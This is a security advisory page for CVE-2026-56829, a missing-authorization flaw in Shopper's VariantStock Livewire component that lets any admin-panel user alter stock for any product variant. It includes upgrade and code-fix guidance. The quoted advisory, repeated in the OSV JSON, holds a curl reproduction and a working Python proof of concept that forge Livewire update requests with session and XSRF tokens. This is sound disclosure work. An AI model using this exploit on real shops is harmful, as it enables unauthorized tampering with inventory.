CVE-2026-56829: Shopper Unauthorized Inventory Stock Manipulation Vulnerability

HIGH
Advisory Identifier: GHSA-g3f9-g5vj-p62f
CVSS 8.1
CWE-862
Published
Advisory Summary

CVE-2026-56829 is a HIGH (CVSS 8.1) unauthorized inventory stock manipulation vulnerability (CWE-862: Missing Authorization) affecting Shopper libraries in the Packagist ecosystem. The issue involves unauthorized inventory stock manipulation via unlocked variant property in variantstock component. Remediation is available by upgrading affected packages to version 2.9.2.

CVE-2026-56829 at a Glance

CVE Identifier CVE-2026-56829
GHSA Identifier GHSA-g3f9-g5vj-p62f
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-862: Missing Authorization
Affected Product Shopper
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-56829

To remediate this vulnerability, upgrade all affected Shopper dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

shopper/framework fixed: 2.9.2
Upgrade shopper/framework to 2.9.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for shopper/framework

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-56829, inspect your project dependencies for Shopper:

inspect dependencies for shopper/framework

Analyze the terminal output to locate any version of Shopper in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.9.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Shopper, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Title Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component ## Description A lack of authorization control was discovered in the `stockAction()` method in `packages/admin/src/Livewire/Components/Products/VariantStock.php`. The component exposes a `public $variant` property without the `#[Locked]` attribute, so the variant ID is client-mutable via the Livewire wire payload. The `stockAction()` returns an Action with no `->authorize(...)` chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database. ## Severity CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High) ## Affected files - `packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91` ```php // Line 34 - unprotected, client-mutable variant binding public $variant; // Lines 36-91 - no ->authorize(...) on the Action public function stockAction(): Action { return Action::make('stock') ->label(__('shopper::forms.actions.update')) ->color('gray') ->icon(Untitledui::Package) ->modalHeading(__('shopper::pages/products.modals.variants.title')) ->modalWidth(Width::Large) ->schema([ Select::make('inventory') ->label(__('shopper::pages/products.inventory_name')) ->options(Inventory::query()->pluck('name', 'id')) ->native(false) ->required(), TextInput::make('quantity') ->label(__('shopper::forms.label.quantity')) ->placeholder('-10 or -5 or 50, etc') ->numeric() ->required(), ]) ->action(function (array $data): void { // ...calls $this->variant->mutateStock(...) or decreaseStock(...) // with no permission check anywhere in this path }); } ``` ## Steps to reproduce Prerequisites: an admin-panel account with any role (including a role that holds only `browse_products` or `browse_orders`). No `edit_product_variants` permission is required. ```bash # Step 1: Log in and obtain a session cookie and Livewire CSRF token. # Obtain them from a normal browser login, then use them below. SESSION="laravel_session=<your_session_value>" XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>" # Step 2: Load the product variant page for any variant ID (e.g., 1). # Capture the Livewire snapshot from the page source. # Step 3: Call the stock action on an arbitrary variant. # The wire payload sets "component.variant" to any variant ID in the database. curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "$XSRF" \ -H "Cookie: $SESSION" \ -d '{ "components": [{ "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}", "updates": {}, "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}] }] }' # Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions. ``` ## Proof of concept ```python #!/usr/bin/env python3 """ VariantStock authorization bypass PoC. Set these environment variables before running: BASE_URL e.g. http://localhost SESSION_COOKIE value of the laravel_session cookie XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENT_ID Livewire component snapshot ID (from page source) VARIANT_ID integer ID of any target variant INVENTORY_ID integer ID of the target inventory location QUANTITY integer quantity adjustment (positive or negative) """ import json import os import requests base_url = os.environ['BASE_URL'] session = os.environ['SESSION_COOKIE'] xsrf = os.environ['XSRF_TOKEN'] component_id = os.environ['COMPONENT_ID'] variant_id = int(os.environ['VARIANT_ID']) inventory_id = int(os.environ['INVENTORY_ID']) quantity = int(os.environ['QUANTITY']) headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravel_session={session}', 'X-Livewire': '1', } snapshot = json.dumps({ 'id': component_id, 'data': {'variant': variant_id}, 'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED', }) payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callAction', 'params': ['stock', { 'inventory': inventory_id, 'quantity': quantity, }] }] }] } r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.status_code}') print(r.text[:500]) ``` ## Impact Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only `browse_products` can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because `$variant` is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID. ## Suggested fix ```php // packages/admin/src/Livewire/Components/Products/VariantStock.php use Livewire\Attributes\Locked; #[Locked] // prevent client-side ID substitution public $variant; public function stockAction(): Action { return Action::make('stock') ->authorize('edit_product_variants') // add this // ... rest of the action ``` ## Credits Reported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).

CVE-2026-56829 Affected Shopper Versions

1 component(s)
Fixed Versions:
2.9.2
Product / Package Ecosystem Affected Versions Fixed Version
shopper/framework
Packagist
< 2.9.2
2.9.2

References

Frequently Asked Questions

What is CVE-2026-56829?
CVE-2026-56829 is a security vulnerability in Shopper involving Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component under CWE-862: Missing Authorization.
Which Shopper versions are affected?
Affected versions include releases prior to 2.9.2 across affected packages: shopper/framework.
What version fixes CVE-2026-56829?
Upgrading to 2.9.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is shopper/framework affected?
Yes, shopper/framework is affected in releases prior to 2.9.2. Upgrade your dependency to 2.9.2 or later.
What is the CVSS score of CVE-2026-56829?
CVE-2026-56829 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-56829?
CVE-2026-56829 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Packagist dependencies for CVE-2026-56829?
Run the dependency tree command: 'inspect dependencies for shopper/framework'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g3f9-g5vj-p62f",
  "modified" : "2026-09-11T21:29:20Z",
  "published" : "2026-09-11T21:29:20Z",
  "aliases" : [ "CVE-2026-56829" ],
  "summary" : "Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component",
  "details" : "## Title\n\nUnauthorized inventory stock manipulation via unlocked variant property in VariantStock component\n\n## Description\n\nA lack of authorization control was discovered in the `stockAction()` method in `packages/admin/src/Livewire/Components/Products/VariantStock.php`. The component exposes a `public $variant` property without the `#[Locked]` attribute, so the variant ID is client-mutable via the Livewire wire payload. The `stockAction()` returns an Action with no `->authorize(...)` chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H  Score: 8.1  (High)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91`\n\n```php\n// Line 34 - unprotected, client-mutable variant binding\npublic $variant;\n\n// Lines 36-91 - no ->authorize(...) on the Action\npublic function stockAction(): Action\n{\n    return Action::make('stock')\n        ->label(__('shopper::forms.actions.update'))\n        ->color('gray')\n        ->icon(Untitledui::Package)\n        ->modalHeading(__('shopper::pages/products.modals.variants.title'))\n        ->modalWidth(Width::Large)\n        ->schema([\n            Select::make('inventory')\n                ->label(__('shopper::pages/products.inventory_name'))\n                ->options(Inventory::query()->pluck('name', 'id'))\n                ->native(false)\n                ->required(),\n            TextInput::make('quantity')\n                ->label(__('shopper::forms.label.quantity'))\n                ->placeholder('-10 or -5 or 50, etc')\n                ->numeric()\n                ->required(),\n        ])\n        ->action(function (array $data): void {\n            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)\n            // with no permission check anywhere in this path\n        });\n}\n```\n\n## Steps to reproduce\n\nPrerequisites: an admin-panel account with any role (including a role that holds only `browse_products` or `browse_orders`). No `edit_product_variants` permission is required.\n\n```bash\n# Step 1: Log in and obtain a session cookie and Livewire CSRF token.\n# Obtain them from a normal browser login, then use them below.\n\nSESSION=\"laravel_session=<your_session_value>\"\nXSRF=\"X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>\"\n\n# Step 2: Load the product variant page for any variant ID (e.g., 1).\n# Capture the Livewire snapshot from the page source.\n\n# Step 3: Call the stock action on an arbitrary variant.\n# The wire payload sets \"component.variant\" to any variant ID in the database.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n  -H \"Content-Type: application/json\" \\\n  -H \"$XSRF\" \\\n  -H \"Cookie: $SESSION\" \\\n  -d '{\n    \"components\": [{\n      \"snapshot\": \"{\\\"id\\\":\\\"VARIANT_STOCK_COMPONENT_ID\\\",\\\"data\\\":{\\\"variant\\\":42},\\\"checksum\\\":\\\"...\\\"}\",\n      \"updates\": {},\n      \"calls\": [{\"path\":\"\",\"method\":\"callAction\",\"params\":[\"stock\",{\"inventory\":1,\"quantity\":999}]}]\n    }]\n  }'\n# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVariantStock authorization bypass PoC.\n\nSet these environment variables before running:\n  BASE_URL        e.g. http://localhost\n  SESSION_COOKIE  value of the laravel_session cookie\n  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie\n  COMPONENT_ID    Livewire component snapshot ID (from page source)\n  VARIANT_ID      integer ID of any target variant\n  INVENTORY_ID    integer ID of the target inventory location\n  QUANTITY        integer quantity adjustment (positive or negative)\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url      = os.environ['BASE_URL']\nsession       = os.environ['SESSION_COOKIE']\nxsrf          = os.environ['XSRF_TOKEN']\ncomponent_id  = os.environ['COMPONENT_ID']\nvariant_id    = int(os.environ['VARIANT_ID'])\ninventory_id  = int(os.environ['INVENTORY_ID'])\nquantity      = int(os.environ['QUANTITY'])\n\nheaders = {\n    'Content-Type': 'application/json',\n    'Accept': 'text/html, application/xhtml+xml',\n    'X-XSRF-TOKEN': xsrf,\n    'Cookie': f'laravel_session={session}',\n    'X-Livewire': '1',\n}\n\nsnapshot = json.dumps({\n    'id': component_id,\n    'data': {'variant': variant_id},\n    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',\n})\n\npayload = {\n    'components': [{\n        'snapshot': snapshot,\n        'updates': {},\n        'calls': [{\n            'path': '',\n            'method': 'callAction',\n            'params': ['stock', {\n                'inventory': inventory_id,\n                'quantity': quantity,\n            }]\n        }]\n    }]\n}\n\nr = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)\nprint(f'Status: {r.status_code}')\nprint(r.text[:500])\n```\n\n## Impact\n\nAny authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only `browse_products` can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because `$variant` is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Products/VariantStock.php\n\nuse Livewire\\Attributes\\Locked;\n\n#[Locked]                     // prevent client-side ID substitution\npublic $variant;\n\npublic function stockAction(): Action\n{\n    return Action::make('stock')\n        ->authorize('edit_product_variants')   // add this\n        // ... rest of the action\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "shopper/framework"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.9.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/shopperlabs/shopper/security/advisories/GHSA-g3f9-g5vj-p62f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/shopperlabs/shopper"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-11T21:29:20Z",
    "nvd_published_at" : null
  }
}